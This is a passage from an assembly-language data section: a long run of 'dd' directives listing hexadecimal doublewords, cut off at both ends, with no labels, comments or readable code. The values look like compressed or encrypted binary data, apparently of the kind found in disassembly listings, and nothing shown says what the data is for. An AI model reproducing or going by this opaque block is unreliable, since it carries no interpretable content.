14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h dd 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh dd 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h dd 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h dd 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh dd 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h, 22759166h dd 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h dd 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h dd 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h dd 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h dd 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh dd 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h dd 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h dd 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h dd 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h dd 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h dd 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h dd 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh dd 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h dd 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh dd 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h dd 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h dd 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h, 4D050775h dd 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h dd 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h dd 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh dd 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h dd 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh dd 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh dd 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h dd 34232CFFh, 0CD00F37h, 604485A7h, 31382433h, 80522831h dd 54E41940h, 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h dd 8B9303E8h, 0F60AB024h dd 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h dd 487E00FFh, 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h dd 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h dd 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh dd 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h dd 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h dd 0D1B77718h, 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh dd 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h dd 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h dd 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh dd 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h dd 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h dd 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h, 18C2A028h dd 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h, 0D8E2B0h dd 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch, 974A18h dd 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h dd 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h dd 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh dd 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh, 9076010Ch dd 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh dd 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h dd 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h dd 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h dd 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h dd 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h dd 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh dd 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h dd 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h dd 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh dd 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h dd 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h dd 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch dd 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh dd 54CF2088h, 803C004Ah, 638A551h, 58A2B891h, 89000B15h dd 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h dd 706A6200h, 7899DF60h, 14510010h, 22836350h, 7D5C4161h dd 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h dd 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh dd 80A66974h, 534018CFh, 48770061h, 0B37C577Dh, 4E019046h dd 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh dd 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h dd 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h dd 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h, 0F07C6462h dd 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h dd 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h dd 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h dd 581862h, 6C1C6847h, 77875166h, 31706B00h, 1D466365h dd 74487140h, 1F077972h, 80615167h, 74945527h, 88070F28h dd 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh dd 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h dd 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch, 3741150h dd 61670046h, 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h dd 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh dd 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h, 48B07742h dd 0B6006C63h, 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh dd 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h dd 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch dd 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h dd 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h dd 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h dd 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh dd 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h dd 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h dd 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h dd 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h dd 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h dd 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h, 528033B2h dd 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh dd 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h dd 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h dd 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh dd 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh dd 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah dd 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h, 1DF807C9h dd 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh dd 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h dd 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h dd 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h dd 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h dd 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h dd 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h dd 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh dd 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h dd 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h dd 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h dd 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h dd 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h dd 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh dd 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh dd 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h dd 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h dd 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h dd 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h dd 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h dd 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h dd 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h dd 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h dd 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h dd 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh dd 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h dd 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h, 6583F0h dd 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h, 0E333000Ah dd 0D854045Fh, 0A90352EBh dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h dd 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h, 7031188h dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h dd 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch dd 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h dd 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h dd 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh dd 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh dd 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h dd 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh dd 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh dd 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h dd 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h dd 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h dd 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h dd 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h dd 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h dd 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h dd 0DB497190h, 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh dd 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h dd 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h dd 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h dd 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h dd 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h dd 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h dd 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h dd 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h dd 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h dd 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh dd 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h, 3E0313A4h dd 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h dd 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h dd 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h dd 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh dd 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h dd 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh dd 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h dd 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h, 0EE007EC9h dd 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h dd 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h dd 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h dd 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h dd 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh dd 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h, 6C60B3C7h dd 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h dd 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h dd 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh dd 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h dd 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h dd 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h dd 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh dd 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h dd 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh dd 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh dd 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh dd 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h dd 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh dd 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h dd 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h dd 2FBF0142h, 53A22A00h, 33001034h, 6547E788h, 3D180C04h dd 0AB805249h, 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h dd 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h dd 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h dd 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h dd 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h dd 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah dd 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h dd 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah dd 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h dd 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h dd 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h dd 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h, 6119CA17h dd 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h dd 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h dd 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h dd 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h dd 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h, 0C419FED5h dd 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h dd 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch dd 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h dd 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h dd 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh dd 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh dd 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h dd 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h dd 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh dd 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h dd 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh, 0F09587DCh dd 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh dd 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h dd 0E5E8B780h, 0E2ABC8A0h dd 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h dd 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h, 31577242h dd 43F8484Dh, 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h dd 7C080C2Ch, 3B4C980h, 2B1F4BD6h, 0B0000A60h, 0C8022E18h dd 3F800F06h, 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh dd 2440D848h, 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h dd 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh, 7570E000h dd 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h dd 73C6F600h, 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h dd 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch dd 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h, 39F00A7Bh dd 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h dd 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h, 0A2F10021h dd 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h, 669CFA81h dd 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h, 0EA7B8401h dd 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h dd 1739997Ah, 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh dd 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh, 0A0026433h dd 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh dd 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh dd 0BCC45424h, 791B200h, 4A0250h, 18066C74h, 3FEB2880h dd 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h dd 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h dd 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h dd 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h dd 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh dd 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h dd 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h dd 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h dd 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h dd 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h dd 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh dd 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh dd 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch dd 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h dd 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch dd 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h dd 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h dd 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h dd 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h dd 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h dd 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h dd 30058B64h, 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h dd 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh dd 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h dd 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh dd 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh dd 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh dd 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh dd 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh dd 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h dd 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h dd 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh dd 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h dd 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h dd 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h dd 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h dd 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h dd 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h, 756E8441h dd 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh dd 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh dd 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah dd 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h dd 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h dd 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h dd 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h dd 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h dd 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah dd 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h dd 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch dd 1B808980h, 472052D4h, 123B9028h, 9734CFAh, 0A94CFh dd 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h, 0A33C201Dh dd 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h, 5B382C00h dd 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h dd 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh dd 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h dd 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h dd 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh dd 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh dd 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh dd 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h dd 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah dd 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h dd 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h dd 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h dd 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h dd 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h, 28AFEA00h dd 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h dd 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h dd 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h dd 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h dd 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h dd 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h dd 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh dd 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h dd 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h dd 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h, 1749FA00h dd 0F3458AC0h, 0A6C85CFEh, 16090173h, 